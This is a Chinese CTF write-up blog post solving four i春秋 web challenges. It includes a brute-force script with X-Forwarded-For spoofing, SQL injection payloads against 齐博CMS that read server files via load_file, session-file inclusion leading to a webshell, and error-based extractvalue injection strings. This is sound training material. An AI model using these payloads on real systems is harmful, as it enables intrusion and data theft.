i春秋7

web——fuzzing

打开页面 啥也没有,抓包看看有没有解题信息
img

发现写了一个超大内网,百度了一下,内网范围为10.0.0.0——10.255.255.255
使用XFF修改了一下IP,访问得到
img
以上地址,他说show your key,我们就发送key,一开始是get方式发送的,发现不行,后来就改成了post就可以了。
img

1
key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9]

出现这句话,接下来就用脚本跑一下后面三位是a-z0-9,但这里可以直接把后面那串拿去MD5解密一下,得到ichunqiu105 用脚本跑的话如下:

img
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
onimport requests
import hashlib
import string
s=requests.session()
url="http://fe26ac8277bb435fbb5f8355355425a9e6dfa59cc4064743.changame.ichunqiu.com/Challenges/./m4nage.php"
headers={"X-Forwarded-For":'10.0.0.0'}
key='ichunqiu'
payload='0123456789'
for i in payload:
for j in payload:
for h in payload:
data={"key":key+i+j+h}
print(data)
if "key is not right" not in s.post(url,data=data,headers=headers).text:
print(key+i+j+h)
exit()

img

打开看看
img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for ($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for ($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . str_replace('=', '', base64_encode($result));
}

}

他的意思是 根据39f4zSTZu9c/laWu0cRvZq7i1XMDxPnf5e4en8EtDTYmIQRKLchr36IN+pSbn9NzBae3B5mwptxrbBjlQjWJCwb0JFa47wk和上面的解密方式,就可以得到flag

只要在最后加上一句话:

1
echo authcode($string = '5f04rJx7uHz25mDp4vUfC0JB4Nx5nMvyQzHwjRb6kN88N+T9RRipbwbHDIcRWtqXjemcJit26oE1Vu6lpdQPZ6St/obCAEc', $operation = 'DECODE', $key = 'ichunqiu105');

flag{e6240cc3-d3ea-41ec-9778-10f5ca5e308b}

web——再见CMS

首先要看看是什么cms,然后再去查找出现过的漏洞,这里看了一下WP,说是看备案号可以查询得到,发现是齐博CMS
img
然后查询已有的漏洞:
先注册下账号,记录好自己的uid:3
img
该网站的漏洞是这样的:在该
http://3893215cde9541e9ab9e40ed01fd1bca93c93c73b8774146.changame.ichunqiu.com/member/userinfo.php?job=edit&step=2 URL下存在sql注入漏洞,所以我们可以post

1
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23

以上payload进行注入,这里解释一下:%00会被转义成\0而后面limitword[000]=空,则是说将truename里面的000替换为空,这是就只剩下一个\,update table set a=’111’,b=’222’ where uid=1假设更新信息的语句如上,那么代入内容则变成是:update table set a=’111\‘,b=’222’ where uid=1
那么替换的内容变成由本来的a=111变成a=111\‘,b= 而我们的语句此时我们再引入一个逗号作为分隔,就变成是

1
update table set a='111\',b=',select user() wher uid=3#

接下来继续注入:
img
爆出库名,看了一下wp,说flag不在这里,猜测是在var/www/html/flag.php,那么这里为什么可以猜测知道这个绝对路径呢?
img
这里有一部分原因吧
接下来如何

通过sql注入方式打开文件

参考:https://www.cnblogs.com/blacksunny/p/8060028.html
但是这里的单引号被过滤 所以就用十六进制表示:

1
2
truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select load_file(0x2f7661722f7777772f68746d6c2f666c61672e706870))where uid=3%23
//select load_file('/var/www/html/flag.php')

查看源码即可获得flag
img

web——notebook

提示说让我们使用文件包含看看,为什么会想到扫描目录?因为我用phpinfo尝试了很久都没打开==,扫描目录看到这个文件,他是php1nFo.php
img
接下来试试文件包含在哪:
img
接下来看看有啥有用的信息吧,主要是毫无头绪不知道哪些信息对我有用,这里看了一下wp学习一下新知识:

PHP文件包含–session

利用条件:session文件路径已知,且其中内容部分可控。
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session 的文件名格式为 sess_[phpsessid],而 sessionid 在发送的请求的 cookie 字段中也可以看到。
思路:
所以这个时候就理顺了:
1.我们可以在phpinfo中看看session保存的目录在哪,然后使用文件包含漏洞打开,因为session文件命名规则我们也知道。
2.如何利用?我们注册用户,直接用php语句写入注册,由于文件包含漏洞打开文件会自动解析其中的php语言,所以我们就可以为所欲为了
img
这个是session保存目录
PHPSESSID=u2vfju7a353mgv6j1tbch1pid7;

1
/action.php?module=&file=../../../../tmp/SESS/sess_u2vfju7a353mgv6j1tbch1pid7
img 注册并登录,然后就可以用蚁剑连接上面的文件包含的链接img 就可以看到flag了

web——Vld

开头说

1
2
do you know Vulcan Logic Dumper?
false

这里留意一下这个Vulcan Logic Dumper,查看源码,

发现存在index.php.txt文件,打开以后可以得到一串代码内容,这个就是Vulcan Logic Dumper做的:
PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476 Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/ 也就是说我们刚才看到的一堆代码其实就是借助vld得到的,php语言中供zend引擎执行的中间代码opcode。有了opcode便可以将其翻译成php代码。 网上也没找到翻译opcode的工具,所以只能看着对照表自己翻译:
参考学习:https://www.cnblogs.com/wosun/p/11386434.html

img 这里直接放翻译完的代码 img 传入值后,可以得到这个zip![img](https://raw.githubusercontent.com/Hwwg/myphoto/master/20210224102848.png)

这里有个select语句,分析看看能不能注入:

1
2
3
4
5
6
7
8
9
10
$db = new mysql_db();
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST['password']);//username经过mysql_db()的addslashes过滤
$number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

$username = trim(str_replace($number, '', $username));//将username里面的number换成空格然后再清空

$sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";//这里其实还是以单引号闭合用点连接罢了
$row = $db->query($sql);
$result = $db->fetch_array($row);

这里看了一下wp如何绕过,发现就是昨天刚用的方法–这次就一定要记住了
在这里str_replace的内容是我们可控的,我们知道%00会被转义成/0所以
我们让str_replace的替换为0这样username只剩下/,然后将后面接上单引号,,而单引号会被转义加上/那么此时前面的/就将这个/给转义掉’就逃逸出来了。
构造payload:

1
number=0&username=%00'and extractvalue(1,concat(2,database()))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

但是 网页上的这个login.php404了????????后来发现原来目录是:
1chunqiu/login.php
我吐了,之前就遇到过,目录目录目录要完整!!重要的事情说三遍
img
然后一步步查询下去,最终可得

1
number=0&username=%00'and extractvalue(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
1
number=00&username=%000'and extractvalue(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167)))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

这里有个地方需要注意的是,我们前面替换的是0,因为会过滤引号,所以=后面需要使用十六进制进行绕过,但是使用十六进制有0所以这里替换的改成00就好了
得到字段名为flag:
由于报错注入一次回显内容有长度限制,一开始使用的select flag from flag就没办法完全将flag显示出来,所以这里改用substr

1
number=00&username=%000' and extractvalue(1,substr((select flag from flag),9,37))#&password=123&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

flag{19b41a74-3424-42d1-aeda-974812111573}

Author

vague huang

Posted on

2021-02-23

Updated on

2021-02-24

Licensed under

Comments